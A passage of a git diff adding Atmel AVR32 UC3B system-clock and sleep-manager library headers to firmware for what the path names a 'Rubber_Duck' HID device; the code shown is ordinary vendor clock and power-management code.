BOARD_OSC0_HZ + case SYSCLK_SRC_OSC0: + osc_enable(0); + osc_wait_ready(0); + // Set a flash wait state depending on the new cpu frequency. + flash_set_bus_freq(BOARD_OSC0_HZ); + sysclk_set_source(SYSCLK_SRC_OSC0); + break; +#endif + +#ifdef CONFIG_PLL0_SOURCE + case SYSCLK_SRC_PLL0: { + struct pll_config pllcfg; + + osc_enable(CONFIG_PLL0_SOURCE); + osc_wait_ready(CONFIG_PLL0_SOURCE); + + pll_config_defaults(&pllcfg, 0); + pll_enable(&pllcfg, 0); + pll_wait_for_lock(0); + // Set a flash wait state depending on the new cpu frequency. + flash_set_bus_freq(sysclk_get_main_hz()); + sysclk_set_source(SYSCLK_SRC_PLL0); + break; + } +#endif + + default: + /* unhandled_case(CONFIG_SYSCLK_SOURCE); */ + break; + } + + /* If the user has specified clock masks, enable only requested clocks */ +#if defined(CONFIG_SYSCLK_INIT_CPUMASK) + AVR32_PM.cpumask = SYSCLK_INIT_MINIMAL_CPUMASK | CONFIG_SYSCLK_INIT_CPUMASK; +#endif +#if defined(CONFIG_SYSCLK_INIT_PBAMASK) + AVR32_PM.pbamask = SYSCLK_INIT_MINIMAL_PBAMASK | CONFIG_SYSCLK_INIT_PBAMASK; +#endif +#if defined(CONFIG_SYSCLK_INIT_PBBMASK) + AVR32_PM.pbbmask = SYSCLK_INIT_MINIMAL_PBBMASK | CONFIG_SYSCLK_INIT_PBBMASK; +#endif +#if defined(CONFIG_SYSCLK_INIT_HSBMASK) + AVR32_PM.hsbmask = SYSCLK_INIT_MINIMAL_HSBMASK | CONFIG_SYSCLK_INIT_HSBMASK; +#endif + +#if (defined CONFIG_SYSCLK_DEFAULT_RETURNS_SLOW_OSC) + /* Signal that the internal frequencies are setup */ + sysclk_initialized = true; +#endif +} + +//! @} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/uc3b0_b1/sysclk.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/uc3b0_b1/sysclk.h new file mode 100755 index 0000000..34f3cda --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/uc3b0_b1/sysclk.h @@ -0,0 +1,766 @@ +/** + * \file + * + * \brief Chip-specific system clock management functions + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef CHIP_SYSCLK_H_INCLUDED +#define CHIP_SYSCLK_H_INCLUDED + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * \weakgroup sysclk_group + * @{ + */ + +//! \name System Clock Sources +//@{ +#define SYSCLK_SRC_RCSYS 0 //!< Use slow clock as main clock +#define SYSCLK_SRC_OSC0 1 //!< Use OSC0 as main clock +#define SYSCLK_SRC_PLL0 2 //!< Use PLL0 as main clock +//@} + +//! \name USB Clock Sources +//@{ +#define USBCLK_SRC_OSC0 0 //!< Use OSC0 +#define USBCLK_SRC_PLL0 1 //!< Use PLL0 +#define USBCLK_SRC_PLL1 2 //!< Use PLL1 +//@} + + +//! \name Clocks derived from the CPU clock +//@{ +#define SYSCLK_OCD AVR32_OCD_CLK_CPU //!< On-Chip Debug system +#define SYSCLK_SYSTIMER AVR32_CORE_CLK_CPU_COUNT //!< COUNT/COMPARE registers +//@} + +//! \name Clocks derived from the HSB clock +//@{ +//! Flash data interface +#define SYSCLK_FLASHC_DATA (AVR32_FLASHC_CLK_HSB % 32) +//! HSB<->PBA bridge +#define SYSCLK_PBA_BRIDGE (AVR32_HMATRIX_CLK_HSB_PBA_BRIDGE % 32) +//! HSB<->PBB bridge +#define SYSCLK_PBB_BRIDGE (AVR32_HMATRIX_CLK_HSB_PBB_BRIDGE % 32) +//! USBB DMA and FIFO interface +#define SYSCLK_USBB_DATA (AVR32_USBB_CLK_HSB % 32) +//! PDCA memory interface +#define SYSCLK_PDCA_HSB (AVR32_PDCA_CLK_HSB % 32) +//@} + +//! \name Clocks derived from the PBA clock +//@{ +//! Internal interrupt controller +#define SYSCLK_INTC (AVR32_INTC_CLK_PBA % 32) +//! General-Purpose I/O +#define SYSCLK_GPIO (AVR32_GPIO_CLK_PBA % 32) +//! PDCA peripheral bus interface +#define SYSCLK_PDCA_PB (AVR32_PDCA_CLK_PBA % 32) +//! PM/RTC/EIM configuration +#define SYSCLK_PM (AVR32_PM_CLK_PBA % 32) +//! A/D Converter +#define SYSCLK_ADC (AVR32_ADC_CLK_PBA % 32) +//! SPI Controller 0 +#define SYSCLK_SPI (AVR32_SPI_CLK_PBA % 32) +//! TWI Controller +#define SYSCLK_TWI (AVR32_TWI_CLK_PBA % 32) +//! USART 0 +#define SYSCLK_USART0 (AVR32_USART0_CLK_PBA % 32) +//! USART 1 +#define SYSCLK_USART1 (AVR32_USART1_CLK_PBA % 32) +//! USART 2 +#define SYSCLK_USART2 (AVR32_USART2_CLK_PBA % 32) +//! PWM +#define SYSCLK_PWM (AVR32_PWM_CLK_PBA % 32) +//! Synchronous Serial Controller +#define SYSCLK_SSC (AVR32_SSC_CLK_PBA % 32) +//! Timer/Counter +#define SYSCLK_TC (AVR32_TC_CLK_PBA % 32) +//! D/A Converter +#define SYSCLK_DAC (AVR32_ABDAC_CLK_PBA % 32) +//@} + +//! \name Clocks derived from the PBB clock +//@{ +//! HSB Matrix configuration +#define SYSCLK_HMATRIX (AVR32_HMATRIX_CLK_PBB % 32) +//! USBB registers +#define SYSCLK_USBB_REGS (AVR32_USBB_CLK_PBB % 32) +//! Flash Controller registers +#define SYSCLK_FLASHC_REGS (AVR32_FLASHC_CLK_PBB % 32) +//@} + +#ifndef __ASSEMBLY__ + +#include +#include +#include +#include + +// Use the slow clock (RCOSC) with no prescaling if config was empty. +#ifndef CONFIG_SYSCLK_SOURCE +# define CONFIG_SYSCLK_SOURCE SYSCLK_SRC_RCSYS +#endif /* CONFIG_SYSCLK_SOURCE */ + +/** + * \def CONFIG_SYSCLK_CPU_DIV + * \brief Configuration symbol for dividing the CPU clock frequency by + * \f$2^{CONFIG\_SYSCLK\_CPU\_DIV}\f$ + * + * If this symbol is not defined, the CPU clock frequency is not divided. + * + * This symbol may be defined in \ref conf_clock.h. + */ +#ifndef CONFIG_SYSCLK_CPU_DIV +# define CONFIG_SYSCLK_CPU_DIV 0 +#endif /* CONFIG_SYSCLK_CPU_DIV */ + +/** + * \def CONFIG_SYSCLK_INIT_HSBMASK + * \brief Configuration symbol for the HSB clocks enabled at power-on after the + * sysclock module has been initialized. By default, all HSB clocks are left + * enabled, however to save power these can be automatically disabled by defining + * this value to a mask of \c SYSCLOCK_xxx settings. + * + * If this symbol is not defined, then all HSB clocks are left enabled. + * + * This symbol may be defined in \ref conf_clock.h. + */ +#ifdef __DOXYGEN__ +# define CONFIG_SYSCLK_INIT_HSBMASK +#endif + +/** + * \def CONFIG_SYSCLK_PBA_DIV + * \brief Configuration symbol for dividing the PBA clock frequency by + * \f$2^{CONFIG\_SYSCLK\_PBA\_DIV}\f$ + * + * If this symbol is not defined, the PBA clock frequency is not divided. + * + * This symbol may be defined in \ref conf_clock.h. + */ +#ifndef CONFIG_SYSCLK_PBA_DIV +# define CONFIG_SYSCLK_PBA_DIV 0 +#endif /* CONFIG_SYSCLK_PBA_DIV */ + +/** + * \def CONFIG_SYSCLK_PBB_DIV + * \brief Configuration symbol for dividing the PBA clock frequency by + * \f$2^{CONFIG\_SYSCLK\_PBB\_DIV}\f$ + * + * If this symbol is not defined, the PBA clock frequency is not divided. + * + * This symbol may be defined in \ref conf_clock.h. + */ +#ifndef CONFIG_SYSCLK_PBB_DIV +# define CONFIG_SYSCLK_PBB_DIV 0 +#endif /* CONFIG_SYSCLK_PBB_DIV */ + +/** + * \def CONFIG_SYSCLK_INIT_CPUMASK + * \brief Configuration symbol for the CPU clocks enabled at power-on after the + * sysclock module has been initialized. By default, all CPU clocks are left + * enabled, however to save power these can be automatically disabled by defining + * this value to a mask of \c SYSCLOCK_xxx settings. + * + * If this symbol is not defined, then all CPU clocks are left enabled. + * + * This symbol may be defined in \ref conf_clock.h. + */ +#ifdef __DOXYGEN__ +# define CONFIG_SYSCLK_INIT_CPUMASK +#endif + +/** + * \def CONFIG_SYSCLK_INIT_PBAMASK + * \brief Configuration symbol for the PBA clocks enabled at power-on after the + * sysclock module has been initialized. By default, all PBA clocks are left + * enabled, however to save power these can be automatically disabled by defining + * this value to a mask of \c SYSCLOCK_xxx settings. + * + * If this symbol is not defined, then all PBA clocks are left enabled. + * + * This symbol may be defined in \ref conf_clock.h. + */ +#ifdef __DOXYGEN__ +# define CONFIG_SYSCLK_INIT_PBAMASK +#endif + +/** + * \def CONFIG_SYSCLK_INIT_PBBMASK + * \brief Configuration symbol for the PBB clocks enabled at power-on after the + * sysclock module has been initialized. By default, all PBB clocks are left + * enabled, however to save power these can be automatically disabled by defining + * this value to a mask of \c SYSCLOCK_xxx settings. + * + * If this symbol is not defined, then all PBB clocks are left enabled. + * + * This symbol may be defined in \ref conf_clock.h. + */ +#ifdef __DOXYGEN__ +# define CONFIG_SYSCLK_INIT_PBBMASK +#endif + +/** + * \def CONFIG_USBCLK_SOURCE + * \brief Configuration symbol for the USB generic clock source + * + * Sets the clock source to use for the USB. The source must also be properly + * configured. + * + * Define this to one of the \c USBCLK_SRC_xxx settings. Leave it undefined if + * USB is not required. + */ +#ifdef __DOXYGEN__ +# define CONFIG_USBCLK_SOURCE +#endif + +/** + * \def CONFIG_USBCLK_DIV + * \brief Configuration symbol for the USB generic clock divider setting + * + * Sets the clock division for the USB generic clock. If a USB clock source is + * selected with CONFIG_USBCLK_SOURCE, this configuration symbol must also be + * defined. + * + * Define this as any value that does not exceed \c GENCLK_DIV_MAX, and which + * will give a 48 MHz clock frequency from the selected source. + */ +#ifdef __DOXYGEN__ +# define CONFIG_USBCLK_DIV +#endif + +/** + * \name Querying the system clock and its derived clocks + * + * The following functions may be used to query the current frequency of + * the system clock and the CPU and bus clocks derived from it. + * sysclk_get_main_hz() and sysclk_get_cpu_hz() can be assumed to be + * available on all platforms, although some platforms may define + * additional accessors for various chip-internal bus clocks. These are + * usually not intended to be queried directly by generic code. + */ +//@{ + +/** + * \brief Return the current rate in Hz of the main system clock + * + * \todo This function assumes that the main clock source never changes + * once it's been set up, and that PLL0 always runs at the compile-time + * configured default rate. While this is probably the most common + * configuration, which we want to support as a special case for + * performance reasons, we will at some point need to support more + * dynamic setups as well. + */ +#if (defined CONFIG_SYSCLK_DEFAULT_RETURNS_SLOW_OSC) +extern bool sysclk_initialized; +#endif +static inline uint32_t sysclk_get_main_hz(void) +{ +#if (defined CONFIG_SYSCLK_DEFAULT_RETURNS_SLOW_OSC) + if (!sysclk_initialized ) { + return OSC_SLOW_NOMINAL_HZ; + } +#endif + + switch (CONFIG_SYSCLK_SOURCE) { + case SYSCLK_SRC_RCSYS: + return OSC_SLOW_NOMINAL_HZ; + +#ifdef BOARD_OSC0_HZ + case SYSCLK_SRC_OSC0: + return BOARD_OSC0_HZ; +#endif + +#ifdef CONFIG_PLL0_SOURCE + case SYSCLK_SRC_PLL0: + return pll_get_default_rate(0); +#endif + + default: + /* unhandled_case(CONFIG_SYSCLK_SOURCE); */ + return 0; + } +} + +/** + * \brief Return the current rate in Hz of the CPU clock + * + * \todo This function assumes that the CPU always runs at the system + * clock frequency. We want to support at least two more scenarios: + * Fixed CPU/bus clock dividers (config symbols) and dynamic CPU/bus + * clock dividers (which may change at run time). Ditto for all the bus + * clocks. + * + * \return Frequency of the CPU clock, in Hz. + */ +static inline uint32_t sysclk_get_cpu_hz(void) +{ + return sysclk_get_main_hz() >> CONFIG_SYSCLK_CPU_DIV; +} + +/** + * \brief Return the current rate in Hz of the High-Speed Bus clock + * + * \return Frequency of the High Speed Peripheral Bus clock, in Hz. + */ +static inline uint32_t sysclk_get_hsb_hz(void) +{ + return sysclk_get_main_hz() >> CONFIG_SYSCLK_CPU_DIV; +} + +/** + * \brief Return the current rate in Hz of the Peripheral Bus A clock + * + * \return Frequency of the Peripheral Bus A clock, in Hz. + */ +static inline uint32_t sysclk_get_pba_hz(void) +{ + return sysclk_get_main_hz() >> CONFIG_SYSCLK_PBA_DIV; +} + +/** + * \brief Return the current rate in Hz of the Peripheral Bus B clock + * + * \return Frequency of the Peripheral Bus B clock, in Hz. + */ +static inline uint32_t sysclk_get_pbb_hz(void) +{ + return sysclk_get_main_hz() >> CONFIG_SYSCLK_CPU_DIV; +} + +/** + * \brief Retrieves the current rate in Hz of the Peripheral Bus clock attached + * to the specified peripheral. + * + * \param module Pointer to the module's base address. + * + * \return Frequency of the bus attached to the specified peripheral, in Hz. + */ +static inline uint32_t sysclk_get_peripheral_bus_hz(const volatile void *module) +{ + /* Fallthroughs intended for modules sharing the same peripheral bus. */ + switch ((uintptr_t)module) { + case AVR32_INTC_ADDRESS: + case AVR32_GPIO_ADDRESS: + case AVR32_PDCA_ADDRESS: + case AVR32_PM_ADDRESS: + case AVR32_ADC_ADDRESS: + case AVR32_SPI_ADDRESS: + case AVR32_TWI_ADDRESS: + case AVR32_USART0_ADDRESS: + case AVR32_USART1_ADDRESS: + case AVR32_USART2_ADDRESS: + case AVR32_PWM_ADDRESS: +#if defined(AVR32_SSC) + case AVR32_SSC_ADDRESS: +#endif + case AVR32_TC_ADDRESS: +#if defined(AVR32_ABDAC) + case AVR32_ABDAC_ADDRESS: +#endif + return sysclk_get_pba_hz(); + + case AVR32_HMATRIX_ADDRESS: + case AVR32_USBB_ADDRESS: + case AVR32_FLASHC_ADDRESS: + return sysclk_get_pbb_hz(); + + default: + Assert(false); + return 0; + } +} + +//@} + +extern void sysclk_priv_enable_module(unsigned int bus_id, + unsigned int module_index); +extern void sysclk_priv_disable_module(unsigned int bus_id, + unsigned int module_index); + +//! \name Enabling and disabling synchronous clocks +//@{ + +/** + * \brief Enable a module clock derived from the CPU clock + * \param index Index of the module clock in the CPUMASK register + */ +static inline void sysclk_enable_cpu_module(unsigned int index) +{ + sysclk_priv_enable_module(AVR32_PM_CLK_GRP_CPU, index); +} + +/** + * \brief Disable a module clock derived from the CPU clock + * \param index Index of the module clock in the CPUMASK register + */ +static inline void sysclk_disable_cpu_module(unsigned int index) +{ + sysclk_priv_disable_module(AVR32_PM_CLK_GRP_CPU, index); +} + +/** + * \brief Enable a module clock derived from the HSB clock + * \param index Index of the module clock in the HSBMASK register + */ +static inline void sysclk_enable_hsb_module(unsigned int index) +{ + sysclk_priv_enable_module(AVR32_PM_CLK_GRP_HSB, index); +} + +/** + * \brief Disable a module clock derived from the HSB clock + * \param index Index of the module clock in the HSBMASK register + */ +static inline void sysclk_disable_hsb_module(unsigned int index) +{ + sysclk_priv_disable_module(AVR32_PM_CLK_GRP_HSB, index); +} + +/** + * \brief Enable a module clock derived from the PBA clock + * \param index Index of the module clock in the PBAMASK register + */ +static inline void sysclk_enable_pba_module(unsigned int index) +{ + sysclk_priv_enable_module(AVR32_PM_CLK_GRP_PBA, index); +} + +/** + * \brief Disable a module clock derived from the PBA clock + * \param index Index of the module clock in the PBAMASK register + */ +static inline void sysclk_disable_pba_module(unsigned int index) +{ + sysclk_priv_disable_module(AVR32_PM_CLK_GRP_PBA, index); +} + +extern void sysclk_enable_pbb_module(unsigned int index); +extern void sysclk_disable_pbb_module(unsigned int index); + +/** + * \brief Enable a peripheral's clock from its base address. + * + * Enables the clock to a peripheral, given its base address. If the peripheral + * has an associated clock on the HSB bus, this will be enabled also. + * + * \param module Pointer to the module's base address. + */ +static inline void sysclk_enable_peripheral_clock(const volatile void *module) +{ + switch ((uintptr_t)module) { + case AVR32_INTC_ADDRESS: + sysclk_enable_pba_module(SYSCLK_INTC); + break; + + case AVR32_GPIO_ADDRESS: + sysclk_enable_pba_module(SYSCLK_GPIO); + break; + + case AVR32_PDCA_ADDRESS: + sysclk_enable_hsb_module(SYSCLK_PDCA_HSB); + sysclk_enable_pba_module(SYSCLK_PDCA_PB); + break; + + case AVR32_PM_ADDRESS: + sysclk_enable_pba_module(SYSCLK_PM); + break; + + case AVR32_ADC_ADDRESS: + sysclk_enable_pba_module(SYSCLK_ADC); + break; + + case AVR32_SPI_ADDRESS: + sysclk_enable_pba_module(SYSCLK_SPI); + break; + + case AVR32_TWI_ADDRESS: + sysclk_enable_pba_module(SYSCLK_TWI); + break; + + case AVR32_USART0_ADDRESS: + sysclk_enable_pba_module(SYSCLK_USART0); + break; + + case AVR32_USART1_ADDRESS: + sysclk_enable_pba_module(SYSCLK_USART1); + break; + + case AVR32_USART2_ADDRESS: + sysclk_enable_pba_module(SYSCLK_USART2); + break; + + case AVR32_PWM_ADDRESS: + sysclk_enable_pba_module(SYSCLK_PWM); + break; + +#if defined(AVR32_SSC) + case AVR32_SSC_ADDRESS: + sysclk_enable_pba_module(SYSCLK_SSC); + break; +#endif + + case AVR32_TC_ADDRESS: + sysclk_enable_pba_module(SYSCLK_TC); + break; + +#if defined(AVR32_ABDAC) + case AVR32_ABDAC_ADDRESS: + sysclk_enable_pba_module(SYSCLK_DAC); + break; +#endif + + case AVR32_HMATRIX_ADDRESS: + sysclk_enable_pbb_module(SYSCLK_HMATRIX); + break; + + case AVR32_USBB_ADDRESS: + sysclk_enable_hsb_module(SYSCLK_USBB_DATA); + sysclk_enable_pbb_module(SYSCLK_USBB_REGS); + break; + + case AVR32_FLASHC_ADDRESS: + sysclk_enable_hsb_module(SYSCLK_FLASHC_DATA); + sysclk_enable_pbb_module(SYSCLK_FLASHC_REGS); + break; + + default: + Assert(false); + return; + } +} + +/** + * \brief Disable a peripheral's clock from its base address. + * + * Disables the clock to a peripheral, given its base address. If the peripheral + * has an associated clock on the HSB bus, this will be disabled also. + * + * \param module Pointer to the module's base address. + */ +static inline void sysclk_disable_peripheral_clock(const volatile void *module) +{ + switch ((uintptr_t)module) { + case AVR32_INTC_ADDRESS: + sysclk_disable_pba_module(SYSCLK_INTC); + break; + + case AVR32_GPIO_ADDRESS: + sysclk_disable_pba_module(SYSCLK_GPIO); + break; + + case AVR32_PDCA_ADDRESS: + sysclk_disable_hsb_module(SYSCLK_PDCA_HSB); + sysclk_disable_pba_module(SYSCLK_PDCA_PB); + break; + + case AVR32_PM_ADDRESS: + sysclk_disable_pba_module(SYSCLK_PM); + break; + + case AVR32_ADC_ADDRESS: + sysclk_disable_pba_module(SYSCLK_ADC); + break; + + case AVR32_SPI_ADDRESS: + sysclk_disable_pba_module(SYSCLK_SPI); + break; + + case AVR32_TWI_ADDRESS: + sysclk_disable_pba_module(SYSCLK_TWI); + break; + + case AVR32_USART0_ADDRESS: + sysclk_disable_pba_module(SYSCLK_USART0); + break; + + case AVR32_USART1_ADDRESS: + sysclk_disable_pba_module(SYSCLK_USART1); + break; + + case AVR32_USART2_ADDRESS: + sysclk_disable_pba_module(SYSCLK_USART2); + break; + + case AVR32_PWM_ADDRESS: + sysclk_disable_pba_module(SYSCLK_PWM); + break; + +#if defined(AVR32_SSC) + case AVR32_SSC_ADDRESS: + sysclk_disable_pba_module(SYSCLK_SSC); + break; +#endif + + case AVR32_TC_ADDRESS: + sysclk_disable_pba_module(SYSCLK_TC); + break; + +#if defined(AVR32_ABDAC) + case AVR32_ABDAC_ADDRESS: + sysclk_disable_pba_module(SYSCLK_DAC); + break; +#endif + + case AVR32_HMATRIX_ADDRESS: + sysclk_disable_pbb_module(SYSCLK_HMATRIX); + break; + + case AVR32_USBB_ADDRESS: + sysclk_disable_hsb_module(SYSCLK_USBB_DATA); + sysclk_disable_pbb_module(SYSCLK_USBB_REGS); + break; + + case AVR32_FLASHC_ADDRESS: + sysclk_disable_hsb_module(SYSCLK_FLASHC_DATA); + sysclk_disable_pbb_module(SYSCLK_FLASHC_REGS); + break; + + default: + Assert(false); + return; + } +} + +//@} + +//! \name System Clock Source and Prescaler configuration +//@{ + +/** + * \brief Set system clock prescaler configuration + * + * This function will change the system clock prescaler configuration to + * match the parameters. + * + * \note The parameters to this function are device-specific. + * + * \param cpu_shift The CPU clock will be divided by \f$2^{cpu\_shift}\f$ + * \param pba_shift The PBA clock will be divided by \f$2^{pba\_shift}\f$ + * \param pbb_shift The PBB clock will be divided by \f$2^{pbb\_shift}\f$ + */ +static inline void sysclk_set_prescalers(unsigned int cpu_shift, + unsigned int pba_shift, unsigned int pbb_shift) +{ + uint32_t cksel = 0; + + Assert(cpu_shift <= pba_shift); + Assert(cpu_shift <= pbb_shift); + + if (cpu_shift > 0) + cksel = ((cpu_shift - 1) << AVR32_PM_CKSEL_CPUSEL) + | (1U << AVR32_PM_CKSEL_CPUDIV); + + if (pba_shift > 0) + cksel |= ((pba_shift - 1) << AVR32_PM_CKSEL_PBASEL) + | (1U << AVR32_PM_CKSEL_PBADIV); + + if (pbb_shift > 0) + cksel |= ((pbb_shift - 1) << AVR32_PM_CKSEL_PBBSEL) + | (1U << AVR32_PM_CKSEL_PBBDIV); + + AVR32_PM.cksel = cksel; +} + +/** + * \brief Change the source of the main system clock. + * + * \pre The appropriate Flash Wait state must be set previously. + * + * \param src The new system clock source. Must be one of the constants + * from the System Clock Sources section. + */ +static inline void sysclk_set_source(uint_fast8_t src) +{ + uint32_t mcctrl; + irqflags_t flags; + + Assert(src <= SYSCLK_SRC_PLL0); + + flags = cpu_irq_save(); + mcctrl = AVR32_PM.mcctrl & ~AVR32_PM_MCCTRL_MCSEL_MASK; + mcctrl |= src << AVR32_PM_MCCTRL_MCSEL; + AVR32_PM.mcctrl = mcctrl; + cpu_irq_restore(flags); +} + +//@} + +#if defined(CONFIG_USBCLK_SOURCE) || defined(__DOXYGEN__) + +/** + * \def USBCLK_STARTUP_TIMEOUT + * \brief Number of us to wait for USB clock to start + */ +#if CONFIG_USBCLK_SOURCE==USBCLK_SRC_OSC0 +# define USBCLK_STARTUP_TIMEOUT (OSC0_STARTUP_TIMEOUT*(1000000/AVR32_PM_RCOSC_FREQUENCY)) +#elif CONFIG_USBCLK_SOURCE==USBCLK_SRC_PLL0 +# if CONFIG_PLL0_SOURCE==PLL_SRC_OSC0 +# define USBCLK_STARTUP_TIMEOUT (OSC0_STARTUP_TIMEOUT*(1000000/AVR32_PM_RCOSC_FREQUENCY)) +# elif CONFIG_PLL0_SOURCE==PLL_SRC_OSC1 +# define USBCLK_STARTUP_TIMEOUT (OSC1_STARTUP_TIMEOUT*(1000000/AVR32_PM_RCOSC_FREQUENCY)) +# else +# error Unknown value for CONFIG_PLL0_SOURCE, see conf_clock.h. +# endif +#elif CONFIG_USBCLK_SOURCE==USBCLK_SRC_PLL1 +# if CONFIG_PLL1_SOURCE==PLL_SRC_OSC0 +# define USBCLK_STARTUP_TIMEOUT (OSC0_STARTUP_TIMEOUT*(1000000/AVR32_PM_RCOSC_FREQUENCY)) +# elif CONFIG_PLL1_SOURCE==PLL_SRC_OSC1 +# define USBCLK_STARTUP_TIMEOUT (OSC1_STARTUP_TIMEOUT*(1000000/AVR32_PM_RCOSC_FREQUENCY)) +# else +# error Unknown value for CONFIG_PLL1_SOURCE, see conf_clock.h. +# endif +#else +# error Unknown value for CONFIG_USBCLK_SOURCE, see conf_clock.h. +#endif + +extern void sysclk_enable_usb(void); +extern void sysclk_disable_usb(void); +#endif + +extern void sysclk_init(void); + +#endif /* !__ASSEMBLY__ */ + +//! @} + +#ifdef __cplusplus +} +#endif + +#endif /* CHIP_SYSCLK_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/sleepmgr/sleepmgr.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/sleepmgr/sleepmgr.h new file mode 100755 index 0000000..5770502 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/sleepmgr/sleepmgr.h @@ -0,0 +1,181 @@ +/** + * \file + * + * \brief Sleep manager + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef SLEEPMGR_H +#define SLEEPMGR_H + +#include +#include +#include + +#if defined(XMEGA) +# include "xmega/sleepmgr.h" +#elif (defined(__GNUC__) && defined(__AVR32__)) || (defined(__ICCAVR32__) || defined(__AAVR32__)) +# include "uc3/sleepmgr.h" +#else +# error Unsupported device. +#endif + +/** + * \defgroup sleepmgr_group Sleep manager + * + * The sleep manager is a service for ensuring that the device is not put to + * sleep in deeper sleep modes than the system (e.g., peripheral drivers, + * services or the application) allows at any given time. + * + * It is based on the use of lock counting for the individual sleep modes, and + * will put the device to sleep in the shallowest sleep mode that has a non-zero + * lock count. The drivers/services/application can change these counts by use + * of \ref sleepmgr_lock_mode and \ref sleepmgr_unlock_mode. + * Refer to \ref sleepmgr_mode for a list of the sleep modes available for + * locking, and the device datasheet for information on their effect. + * + * The application must supply the file \ref conf_sleepmgr.h. + * + * For the sleep manager to be enabled, the symbol \ref CONFIG_SLEEPMGR_ENABLE + * must be defined, e.g., in \ref conf_sleepmgr.h. If this symbol is not + * defined, the functions are replaced with dummy functions and no RAM is used. + * + * @{ + */ + +/** + * \def CONFIG_SLEEPMGR_ENABLE + * \brief Configuration symbol for enabling the sleep manager + * + * If this symbol is not defined, the functions of this service are replaced + * with dummy functions. This is useful for reducing code size and execution + * time if the sleep manager is not needed in the application. + * + * This symbol may be defined in \ref conf_sleepmgr.h. + */ +#if defined(__DOXYGEN__) && !defined(CONFIG_SLEEPMGR_ENABLE) +# define CONFIG_SLEEPMGR_ENABLE +#endif + +/** + * \enum sleepmgr_mode + * \brief Sleep mode locks + * + * Identifiers for the different sleep mode locks. + */ + +/** + * \brief Initialize the lock counts + * + * Sets all lock counts to 0, except the very last one, which is set to 1. This + * is done to simplify the algorithm for finding the deepest allowable sleep + * mode in \ref sleepmgr_enter_sleep. + */ +static inline void sleepmgr_init(void) +{ +#ifdef CONFIG_SLEEPMGR_ENABLE + uint8_t i; + + for (i = 0; i < SLEEPMGR_NR_OF_MODES - 1; i++) { + sleepmgr_locks[i] = 0; + } + sleepmgr_locks[SLEEPMGR_NR_OF_MODES - 1] = 1; +#endif /* CONFIG_SLEEPMGR_ENABLE */ +} + +/** + * \brief Increase lock count for a sleep mode + * + * Increases the lock count for \a mode to ensure that the sleep manager does + * not put the device to sleep in the deeper sleep modes. + * + * \param mode Sleep mode to lock. + */ +static inline void sleepmgr_lock_mode(enum sleepmgr_mode mode) +{ +#ifdef CONFIG_SLEEPMGR_ENABLE + irqflags_t flags; + + Assert(sleepmgr_locks[mode] < 0xff); + + // Enter a critical section + flags = cpu_irq_save(); + + ++sleepmgr_locks[mode]; + + // Leave the critical section + cpu_irq_restore(flags); +#endif /* CONFIG_SLEEPMGR_ENABLE */ +} + +/** + * \brief Decrease lock count for a sleep mode + * + * Decreases the lock count for \a mode. If the lock count reaches 0, the sleep + * manager can put the device 